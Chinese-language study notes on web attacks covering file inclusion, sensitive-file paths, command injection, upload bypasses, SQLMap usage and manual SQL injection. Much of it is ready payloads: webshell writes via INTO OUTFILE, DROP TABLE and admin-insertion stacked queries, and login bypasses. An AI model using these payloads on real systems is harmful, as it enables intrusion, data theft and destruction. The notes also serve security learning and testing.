WEB
- 一、信息泄露
- 二、文件包含漏洞
- 三、任意文件查看与下载漏洞
- 四、命令执行漏洞
- 五、文件上传漏洞与WebShell
- 六、SQL注入
-
- [1. SQLMap使用](#1. SQLMap使用)
- [2. SQL手动注入](#2. SQL手动注入)
-
- [1. 探测与基础确认](#1. 探测与基础确认)
- [2. 联合查询注入](#2. 联合查询注入)
- [3. 报错注入(MySQL)](#3. 报错注入(MySQL))
- [4. 布尔盲注](#4. 布尔盲注)
- [5. 时间盲注](#5. 时间盲注)
- [6. 堆叠查询(多语句执行)](#6. 堆叠查询(多语句执行))
- [7. 绕过认证(登录框)](#7. 绕过认证(登录框))
- [8. 读取文件(MySQL)](#8. 读取文件(MySQL))
一、信息泄露
常见Web源码泄露
- .hg源码泄漏
- .git源码泄漏
- .DS_Store文件泄漏
- 网站备份压缩文件
- SVN导致文件泄露
- WEB-INF/web.xml泄露
- CVS泄漏
1.配置测试信息泄露
网站配置和测试文件一般用来存储及显示服务器及应用程序的配置信息,提供应用各种权限及功能。常见的配置及测试文件如web.config、web.xml、conn.php、 phpinfo.php、robots.txt等等。
2.源码文件、数据库信息泄露
对于网站源代码及数据库文件信息一般由于网站备份成压缩包格式,并保存位置不当。
3.源码文件、数据库信息泄露
发现网站源码程序,可以查看conn.asp或者数据库文件,查看数据库里密码信息,读取得到密码。使用MD5解密后登陆后台,造成网站后台泄露。
二、文件包含漏洞
1. PHP Wrapper之LFI(本地文件包含)
本地文件包含介绍
本地文件包含LFI也即Local File Inclusion,其特性是可包含任意类型的文件,当被包含的文件书写符合php书写规范,即(<?php .....代码......?>或<? .....代码...?>)时,不论文件后缀是什么,都可以解析其中的php代码,当书写规范不符合时,则以文本形式输出。
攻击原理
PHP Wrapper是PHP内置URL风格(http://)的封装协议,可用于类似fopen()、copy()、file_exists()和 filesize()的文件系统函数。可用于本地文件包含LFI漏洞的伪协议主要有:
- file://(访问本地文件系统)
- php://filter(对本地文件系统进行读写)
PHP的版本限制;(php 5.0.0及以上版本)
攻击方法
在使用file时需要使用文件的绝对路径
html
http://localhost:8080/index.php?file=file://C:/Download/test.php
完整形式为
html
http://localhost:8080/index.php?file=php:/filter/read=convert.base64-encode/resource=xxx
其中
- read是参数指定读取时要应用的过滤器(例如 convert.base64-encode),同时还可以将encode修改decode,则会读取文件中的内容并进行解密输出使用形式:
- resource 参数指定要读取的文件路径
2. PHP Wrapper之RFI(远程文件包含)
远程文件包含介绍
远程文件包含RFI也即Remote File Inclusion,其基本原理与本地文件包含LFI类似,区别只是被包含的文件由原来的本地文件路径变为远程文件路径。其特性是可包含任意类型的文件,并且如果被包含文件中有类似<?php ......(省略号为php代码) ?>或<? ......(省略号为php代码) ?>这2种形式的字符串,则在包
含时会执行字符串中的PHP代码。
限制条件:PHP的allow_url_include需要为On(如果没有allow_url_include这一项则只需将allow_url_fopen设置为On即可;在php.ini中配置)
攻击原理
如果PHP开启远程文件访问功能(在下面限制条件中有开启方法),则利用param(param为文件包含的注入点)=[HTTP|HTTPS|FTP]://IP/file的形式来包含远程文件(file即为被包含的远程文件)
攻击方法
可用于远程文件包含RFI漏洞的伪协议主要有:
- php://input(访问请求的原始数据的只读流)
使用php://input将执行代码通过FireFox的HackBar的Post Data中提交
(当使用php://input时,需要开启allow_url_include开关) - data://(数据流封装器)。
使用data://协议执行php命令,格式为:data://text/plain,php语句
(当使用data://协议时,必须同时开启allow_url_include和allow_url_fopen两个开关)
三、任意文件查看与下载漏洞
一些网站由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意敏感文件,这就是文件查看与下载漏洞。形如:
从链接上看:
readfile.php?file=***.txt
download.php?file=***.rar
从参数名看:
&RealPath=、&FilePath=、&filepath=、&Path=、
&path=、&inputFile=、&url=、&urls=、 &Lang=、
&dis=、&data=、&readfile=、&filep=、&src=、&menu=
常见敏感文件:
Windows
c
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
Linux
c
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/porc/config.gz
四、命令执行漏洞
没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端执行。命令注入攻击中WEB服务器没有过滤类似system(),eval(),exec()等函数是该漏洞攻击成功的最主要原因。
- 代码层过滤不严:
商业应用的一些核心代码封装在二进制文件中,在web应用中通过system等函数来调用:system("/bin/program --arg $arg");- 系统的漏洞造成命令注入:
bash破壳漏洞- 调用的第三方组件存在代码执行漏洞:
JAVA中的命令执行漏洞(struts2)
ThinkPHP命令执行
c
例如:ping 127.0.0.1;cat${IFS}XXX????
# 在执行完ping命令后还会执行;后的命令,也可以用&&等
# ${IFS}代表空格,?为通配符
五、文件上传漏洞与WebShell
文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,部分文件上传漏洞的利用技术门槛非常的低,对于攻击者来说很容易实施。
文件上传漏洞本身就是一个危害巨大的漏洞,WebShell更是将这种漏洞的利用无限扩大。大多数的上传漏洞被利用后攻击者都会留下WebShell以方便 后续进入系统。攻击者在受影响系统放置或者插入WebShell后,可通过该WebShell更轻松,更隐蔽的在服务中为所欲为。
这里需要特别说明的是上传漏洞的利用经常会使用WebShell,而WebShell的植入远不止文件上传这一种方式。(其他命令执行,数据库插入等等)
常见绕过手法
- 客户端JavaScript检测绕过
- MIME文件类型检测绕过
- 黑名单检测-特殊后缀
- 黑名单检测-.htaccess绕过
- 黑名单检测-大小写绕过
- 黑名单检测-空格绕过(Windows特性)
- 黑名单检测-点号绕过(Windows特性)
- 黑名单检测-::$DATA绕过(Windows特性)
- 嵌套绕过
- .user.ini绕过
- 00截断
- 二次渲染
六、SQL注入
1. SQLMap使用
| 功能场景 | 命令格式与说明 |
|---|---|
| 基础注入检测 | sqlmap -u "http://example.com/page.php?id=1" :检测GET型SQL注入。 |
| POST请求检测 | sqlmap -u "http://example.com/login.php" --data="user=admin&pass=123" |
| 从文件读取HTTP请求 | sqlmap -r request.txt:自动解析文件中的请求,用于处理带有复杂Cookie或会话信息的场景。 |
| 枚举数据库信息 | sqlmap -u "URL" --dbs:列出所有数据库。 接着可用 -D dbname --tables 枚举表,用 -T tablename --columns 枚举字段。 |
| 导出数据 | sqlmap -u "URL" -D dbname -T tablename --dump:在指定数据库和表后,用此命令导出数据。 |
| 获取数据库账户信息 | sqlmap -u "URL" --users 和 --passwords:需高权限。 |
| 批量目标扫描 | sqlmap -m targets.txt:对 targets.txt 文件中的多个URL进行扫描。 |
| 参数调优 | 通过 --level 和 --risk 调整扫描的深度和风险。 --level (1-5):控制测试的注入点和复杂度。默认 level=1 只测GET和POST参数,level=2 会加入Cookie检测,level>=3 则会扩展到User-Agent和Referer等头部,扫描更彻底但耗时更长。 --risk (1-3):控制Payload的破坏性。默认 risk=1 风险最低,risk=2 会增加对大数据表的查询,risk=3 则可能使用 OR 语句,有损坏数据的风险。 |
| 绕过WAF防护 | 使用 --tamper 参数加载脚本,对Payload进行编码转换等处理,绕过过滤。 randomcase.py:随机大小写(如 SeLeCt),绕过大小写匹配。 space2comment.py:将空格替换为内联注释(如 /**/),绕过空格过滤。 equaltolike.py:将 = 替换为 LIKE(如 id LIKE 1),绕过对等号的过滤。 组合使用:sqlmap -u "http://target.com?id=1" --tamper="randomcase,space2comment" 多脚本组合可提高成功率。 |
| 读写文件 | 需高权限,通常在MySQL、PostgreSQL、SQL Server等数据库上有效。 sqlmap -u "URL" --file-read="/etc/passwd":读取服务器文件。 sqlmap -u "URL" --file-write="本地shell.php" --file-dest="远程路径/shell.php":上传文件。 |
| 执行任意命令 | sqlmap -u "URL" --os-cmd="whoami" 利用漏洞在服务器上执行系统命令。 |
| 交互模式 | sqlmap -u "URL" --sql-shell 进入可执行任意SQL语句的交互界面。 |
| 智能模式 | sqlmap -u "URL" --batch 在所有提示处自动选择默认值,简化自动化操作。 |
简单来说,就是:
| 命令 | 作用 |
|---|---|
| -r | 指定爆破的post保存的请求包文件 |
| -dbs | 将所有的数据库全部给爆破出来 |
| --batch | 自动化进行爆破 |
| -D | 指定数据库爆破 |
| --tables | 列出指定库的所有表 |
| -T | 指定表 |
| --dump | 将所有的数据全部转储下来 |
| --level | 控制测试的注入点和复杂度 |
| --risk | 控制Payload的破坏性 |
| --tamper | 加载脚本,对Payload进行编码转换等处理,绕过过滤 |
| --file-read= --file-write= | 读写文件 |
| --os-cmd= | 执行系统命令 |
| --sql-shell | 进入sql语句执行页面 |
2. SQL手动注入
1. 探测与基础确认
| 目的 | Payload |
|---|---|
| 简单判断注入点 | ' OR '1'='1 ' OR 1=1 -- ' AND 1=1 -- ' AND 1=2 -- |
| 注释掉后续语句 | ' -- ' # ' /* (MySQL) |
| 获取数据库版本 | ' UNION SELECT @@version -- ' AND 1=EXTRACTVALUE(1, CONCAT(0x7e, VERSION())) -- (报错注入) |
| 获取当前数据库名 | ' UNION SELECT DATABASE() -- |
| 获取当前用户 | ' UNION SELECT USER() -- |
2. 联合查询注入
sql
' ORDER BY 1 -- # 逐步增加数字直至报错
' UNION SELECT NULL, NULL, NULL -- # 使列数匹配
' UNION SELECT 1,2,3,...... #判断显示位
知道列数后替换为实际查询:
需要先确定字段数,常用ORDER BY或UNION SELECT NULL:
sql
' UNION SELECT DATABASE(), USER(), VERSION() -- # 假设有3列
' UNION SELECT table_name, NULL, NULL FROM information_schema.tables WHERE table_schema=DATABASE() -- # 获取表名
' UNION SELECT column_name, NULL, NULL FROM information_schema.columns WHERE table_name='users' -- # 获取列名
' UNION SELECT username, password, NULL FROM users -- # 提取数据
3. 报错注入(MySQL)
利用函数制造报错信息回显数据:
sql
# 提取数据库名
' AND EXTRACTVALUE(1, CONCAT(0x7e, DATABASE())) --
# 提取表名
' AND UPDATEXML(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables LIMIT 0,1)), 1) --
# 提取列名
' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users' AND column_name REGEXP '^pass') -- # 布尔盲注变体
# 常用报错函数:updatexml(), extractvalue(), floor(), exp(), geometrycollection() 等
4. 布尔盲注
通过页面真假判断逐个字符猜解:
sql
# 判断数据库名第一个字符的ASCII是否大于100
' AND ASCII(SUBSTRING(DATABASE(),1,1)) > 100 --
# 猜解表名长度
' AND (SELECT LENGTH(table_name) FROM information_schema.tables LIMIT 0,1) = 5 --
# 常用函数:SUBSTRING() / MID() / SUBSTR(), ASCII() / ORD()
5. 时间盲注
使用延迟函数制造时间差异:
sql
# MySQL
' AND IF(1=1, SLEEP(5), 0) --
' AND IF(ASCII(SUBSTRING(DATABASE(),1,1)) > 100, BENCHMARK(10000000, MD5('x')), 0) --
# PostgreSQL
' AND (SELECT pg_sleep(5)) --
# SQL Server
' WAITFOR DELAY '0:0:5' --
6. 堆叠查询(多语句执行)
需要数据库驱动支持多条语句,常用于修改数据或执行命令:
sql
' ; DROP TABLE users; --
' ; INSERT INTO admin(username,password) VALUES('hack','pass'); --
# 执行系统命令(MySQL需UDF)
' ; SELECT '<?php system($_GET[cmd]);?>' INTO OUTFILE '/var/www/shell.php' --
7. 绕过认证(登录框)
sql
# 万能密码
admin' --
admin' OR '1'='1' --
admin' OR 1=1 --
admin'/* (闭合处理)
' OR 1=1 LIMIT 1 -- # 返回第一条记录
8. 读取文件(MySQL)
需要 FILE 权限和知道绝对路径:
sql
' UNION SELECT LOAD_FILE('/etc/passwd') --
' UNION SELECT LOAD_FILE('C:/Windows/win.ini') --
# 写入Webshell
' UNION SELECT "<?php eval($_POST[cmd]);?>" INTO OUTFILE "/var/www/html/shell.php" --